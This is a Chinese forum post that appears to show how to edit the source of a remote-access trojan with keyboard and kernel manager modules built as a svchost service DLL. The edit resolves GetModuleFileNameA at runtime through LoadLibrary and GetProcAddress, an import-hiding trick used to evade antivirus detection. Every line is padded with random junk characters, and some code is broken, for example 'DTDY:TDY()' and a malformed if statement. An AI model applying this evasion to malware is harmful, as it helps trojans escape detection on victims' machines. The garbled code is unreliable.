返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记0 Y& g* s) [  c: `5 r6 h
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h) e6 F1 Y. S9 c0 B! R
----------------------------------------
' h5 X) v- k  d, `: e# Q6 UDTDY.h:
7 a/ C1 _4 S. ^( i4 F9 A% o/ n/ C5 b$ ?. d9 _: Q' }# k) b
#if _MSC_VER>10003 q2 e  ^' U8 v! U
#pragma once& x- P8 H) `9 f- L" d* o
#endif //_MSC_VER>1000
- |" i+ ^9 G: H: H% `9 l; }#include<windows.h>! n3 ^) I! H4 E  R" U  G; L2 w
# S1 J. ~3 U7 s8 }9 o; g) g
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);) \# _# f8 s# p; b
class DTDY
8 x4 b" Q, N! D( V{% L( D9 ~, M! u7 l) B6 y
public:
% g) b  Z' [! t( k" P% w$ sDTDY();1 N* [8 F. e; e; P) \' f
virtual ~DTDY();
2 ~8 u/ l- d6 M! Gpublic:
; A" x* c6 X* g% Qstatic pGetModuleFileNameA MyGetModuleFileName;" F  D9 Y! T8 Q3 X0 A. j: q
static BOOL FunInitiallization();
2 z( x4 y' c" n/ \};$ V! }7 k7 U- v% Q# ^0 j
#endif
% q+ s; W/ v  h$ W$ U----------------------------------------
1 i; W  B. ?! N8 Z
& N& }( B2 _5 VDTDY.cpp:
( J& ?! d0 Y, S0 B& J2 X$ ]* q2 d
8 y9 B& [% w% f' {" u6 l. o; U#include "DTDY.h"
3 f9 m3 P$ ]1 vpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;  `- `# E1 B" @, G7 C
DTDY:TDY()
4 K" W1 k7 H% U# @4 m- E! w{
/ @( J0 G1 G7 C}4 v4 W' x* F, s7 c" c( Q! E
DTDY::~DTDY()* S; s# U. u1 Z1 F$ W4 A
{; }4 w3 b  |( O$ ]
}$ E$ n: C/ L8 k. A. R" q
BOOL DTDY::FunInitiallization()* J" v' L7 v* ]- D4 R/ x5 I* Z# w/ w7 k
{0 x& X/ q6 j- q- Z* N
HMODULE hModule=LoadLibrary("kernel32.dll");
  g& m0 K6 A6 `2 @+ v6 R8 bMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
2 K; @3 E5 e9 S0 @* Vif(!MyGetModuleFileName=) return FALSE;! m* ]0 C" J* Z5 B5 ^# Q
* j: P' [& c% y) T: v
return TRUE;: W0 ?& V4 H( n) D9 n0 ?# W2 m
}5 K. s- r" ~! [" m, F. [
----------------------------------------
2 f! u* ?* n7 j' a) W/ s0 L, J/ lsvchost.cpp:
. F8 q/ k. W4 j3 {
$ N1 d  ^6 U- ~  T7 Q0 g& R* P#include "DTDY.h"3 e: g/ K/ D. h$ A; x2 e

  M! m# U6 e; D2 y* E' nBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
- G  h) ~* G1 J4 w{- T7 b; N) B, H
switch(ul_reason_for_call), z/ j- r, W- k, s2 p
{
, N' J; \5 b" K" Ocase DLL_PROCESS_ATTACH:
2 ~0 b2 m1 D( _3 z2 x  fif(!DTDY::FunInitiallization()) return FALSE;
) f* F5 R9 C* N* a2 I0 o7 V4 q- R' r' k2 }
break;1 L( Y8 `6 R# h4 w* d2 Q& I/ e
}9 Q7 \" k$ k4 E# v
}
4 i$ N! S! m2 P% n
4 X3 A$ G5 Q4 A* y  [/ A  ~
, K/ R3 d, F7 |0 |GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def/ u& W& O  C1 Q0 q7 Y4 @
改写为( b  M6 u6 U1 E, [
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
: B4 }0 n+ M* C  Z/ J' q8 Y1 C----------------------------------------
9 h7 T4 S% X) T  a. D( xKernelManager.cpp:
% ~# r: s. W' Z  b# C
; y8 b! \+ Y; w& r4 R- V, _#include "../DTDY.h"
+ s3 J0 b1 H9 QGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));) n7 X" w* k: ^  m1 h
改写为
. u; Y6 g) s* `" H- oDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));- i! }, T$ x0 }, z
----------------------------------------

返回列表